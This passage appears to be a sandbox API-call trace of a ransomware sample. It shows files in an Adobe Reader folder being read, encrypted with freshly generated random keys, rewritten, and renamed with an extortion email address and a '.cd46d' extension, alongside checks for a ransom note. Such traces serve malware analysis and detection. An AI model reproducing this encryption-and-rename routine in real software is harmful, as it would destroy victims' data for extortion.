[0058.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0058.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0058.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0058.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0058.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0058.737] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee70 [0058.737] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.737] WriteFile (in: hFile=0xb08, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x30efcb0, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x30efcb0*=0x107, lpOverlapped=0x0) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9620) returned 1 [0058.741] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0058.741] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0058.741] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x30efc68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0058.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0058.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed478) returned 1 [0058.751] NtQueryInformationFile (in: FileHandle=0xb08, IoStatusBlock=0x30efc74, FileInformation=0x30efc4c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30efc74, FileInformation=0x30efc4c) returned 0x0 [0058.751] NtSetInformationFile (FileHandle=0xb08, IoStatusBlock=0x30efc74, FileInformation=0x30efc4c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.752] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.752] FlushFileBuffers (hFile=0xb08) returned 1 [0062.213] CloseHandle (hObject=0xb08) returned 1 [0062.712] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09318 [0062.712] wcscpy (in: _Dest=0x12e09318, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.712] wcscat (in: _Dest=0x12e09318, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.712] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09318) returned 1 [0063.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4195e0) returned 1 Thread: id = 368 os_tid = 0xca4 [0048.655] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm")) returned 0x20 [0058.697] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm", dwFileAttributes=0x20) returned 1 [0058.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe84 [0058.698] GetFileSizeEx (in: hFile=0xe84, lpFileSize=0x440fb9c | out: lpFileSize=0x440fb9c*=17033) returned 1 [0058.698] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x4285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.698] ReadFile (in: hFile=0xe84, lpBuffer=0x440fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x440fb1c, lpOverlapped=0x0 | out: lpBuffer=0x440fb20*, lpNumberOfBytesRead=0x440fb1c*=0x4, lpOverlapped=0x0) returned 1 [0058.700] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9620 [0058.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e96c0 [0058.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.700] NtQuerySystemTime (in: CurrentTime=0x440fafc | out: CurrentTime=0x440fafc*=132174898226796000) returned 0x0 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x68d1747e [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x309dc79e [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x74553db4 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x2145ced9 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x221b7ba6 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x4f8295f5 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x27c1a513 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x17e0ccaa [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x46ce2fba [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x2ac8826a [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x401e2d73 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x7653beb5 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x382de4f6 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x7c1150eb [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x1b94be70 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0xe70d0d3 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x4d6b829b [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x2e44b1ad [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x1544988c [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x3f907ed4 [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x192aaafa [0058.700] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x2e1ff2bc [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x3c1c8bd [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x27767d03 [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x3b575c6e [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x1af7298 [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x6bd0db0a [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x7b0a86f [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x5ea6ea2 [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x7ef791b8 [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x56b2e184 [0058.701] RtlRandomEx (in: Seed=0x440fb08 | out: Seed=0x440fb08) returned 0x378dc6a0 [0058.712] ReadFile (in: hFile=0xe84, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x4289, lpNumberOfBytesRead=0x440faf8, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x440faf8*=0x4289, lpOverlapped=0x0) returned 1 [0058.713] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.713] WriteFile (in: hFile=0xe84, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x4289, lpNumberOfBytesWritten=0x440faf4, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x440faf4*=0x4289, lpOverlapped=0x0) returned 1 [0058.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9620 [0058.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0058.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0058.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0058.714] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0058.715] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0058.715] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cee70 [0058.715] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.715] WriteFile (in: hFile=0xe84, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x440fb5c, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x440fb5c*=0x107, lpOverlapped=0x0) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9620) returned 1 [0058.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96c0) returned 1 [0058.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0058.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0058.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02120 [0058.717] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0058.717] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d" [0058.717] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x440fb14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0058.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0058.718] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed028) returned 1 [0058.718] NtQueryInformationFile (in: FileHandle=0xe84, IoStatusBlock=0x440fb20, FileInformation=0x440faf8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x440fb20, FileInformation=0x440faf8) returned 0x0 [0058.718] NtSetInformationFile (FileHandle=0xe84, IoStatusBlock=0x440fb20, FileInformation=0x440faf8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.719] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0058.719] FlushFileBuffers (hFile=0xe84) returned 1 [0062.212] CloseHandle (hObject=0xe84) returned 1 [0062.711] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e09298 [0062.711] wcscpy (in: _Dest=0x12e09298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.711] wcscat (in: _Dest=0x12e09298, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.711] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09298) returned 1 [0063.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4194f0) returned 1 Thread: id = 369 os_tid = 0xca8 [0048.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm")) returned 0x20 [0058.374] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm", dwFileAttributes=0x20) returned 1 [0058.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0058.374] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x57afb3c | out: lpFileSize=0x57afb3c*=17011) returned 1 [0058.375] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x426f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.375] ReadFile (in: hFile=0xeb8, lpBuffer=0x57afac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x57afabc, lpOverlapped=0x0 | out: lpBuffer=0x57afac0*, lpNumberOfBytesRead=0x57afabc*=0x4, lpOverlapped=0x0) returned 1 [0058.376] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0058.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0058.376] NtQuerySystemTime (in: CurrentTime=0x57afa9c | out: CurrentTime=0x57afa9c*=132174898223520000) returned 0x0 [0058.376] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1e850fd6 [0058.376] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x5fdd0a17 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x73ffce99 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x12b3a0d7 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x317f4dcd [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x3a9cef92 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x7a969a2a [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x34bb2c50 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x696d6216 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x3da6cbf9 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x414108c2 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x6920007f [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x7172a22d [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x28d0666c [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x629a7b42 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1a9b9842 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1da8ce26 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x58bd5692 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x311d166d [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1c71cb04 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x638db966 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x4b12c910 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x34626468 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1515460f [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x52676114 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x50c8753 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x1e804d79 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x6184dad1 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x3d9f6db5 [0058.377] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x5b6d7ba8 [0058.378] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x251ac616 [0058.378] RtlRandomEx (in: Seed=0x57afaa8 | out: Seed=0x57afaa8) returned 0x5f0988a [0058.392] ReadFile (in: hFile=0xeb8, lpBuffer=0x9673680, nNumberOfBytesToRead=0x4273, lpNumberOfBytesRead=0x57afa98, lpOverlapped=0x0 | out: lpBuffer=0x9673680*, lpNumberOfBytesRead=0x57afa98*=0x4273, lpOverlapped=0x0) returned 1 [0058.393] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.393] WriteFile (in: hFile=0xeb8, lpBuffer=0x967fe88*, nNumberOfBytesToWrite=0x4273, lpNumberOfBytesWritten=0x57afa94, lpOverlapped=0x0 | out: lpBuffer=0x967fe88*, lpNumberOfBytesWritten=0x57afa94*=0x4273, lpOverlapped=0x0) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3c0 [0059.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf3e8 [0059.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3e8) returned 1 [0059.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x967fe88) returned 1 [0059.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9673680) returned 1 [0059.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4375f8) returned 1 [0059.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cea50 [0059.365] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.366] WriteFile (in: hFile=0xeb8, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x57afafc, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0x57afafc*=0x105, lpOverlapped=0x0) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceea0) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3e8) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea50) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3c0) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.641] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c408 [0061.641] wcscpy (in: _Dest=0x45c408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0061.641] wcscat (in: _Dest=0x45c408, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d" [0061.641] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x57afab4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.641] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00d60 [0061.641] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x57afaac, FileInformation=0x5e00d60, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0061.645] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.645] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.645] NtQueryInformationFile (in: FileHandle=0xeb8, IoStatusBlock=0x57afac0, FileInformation=0x57afa98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x57afac0, FileInformation=0x57afa98) returned 0x0 [0061.645] NtSetInformationFile (FileHandle=0xeb8, IoStatusBlock=0x57afac0, FileInformation=0x57afa98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0061.646] FlushFileBuffers (hFile=0xeb8) returned 1 [0062.200] CloseHandle (hObject=0xeb8) returned 1 [0062.701] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x12e07c98 [0062.701] wcscpy (in: _Dest=0x12e07c98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0062.701] wcscat (in: _Dest=0x12e07c98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" [0062.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\cd46d-readme.txt")) returned 0x20 [0063.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07c98) returned 1 [0063.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421578) returned 1 Thread: id = 370 os_tid = 0xcac [0048.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm")) returned 0x20 [0058.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm", dwFileAttributes=0x20) returned 1 [0058.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 